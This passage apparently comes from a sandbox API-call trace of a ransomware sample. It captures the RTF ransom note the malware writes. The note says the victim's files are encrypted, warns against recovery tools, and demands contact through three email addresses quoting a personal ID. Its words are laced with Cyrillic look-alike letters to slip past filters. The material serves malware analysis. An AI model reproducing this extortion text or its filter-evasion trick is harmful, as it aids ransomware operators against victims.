sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 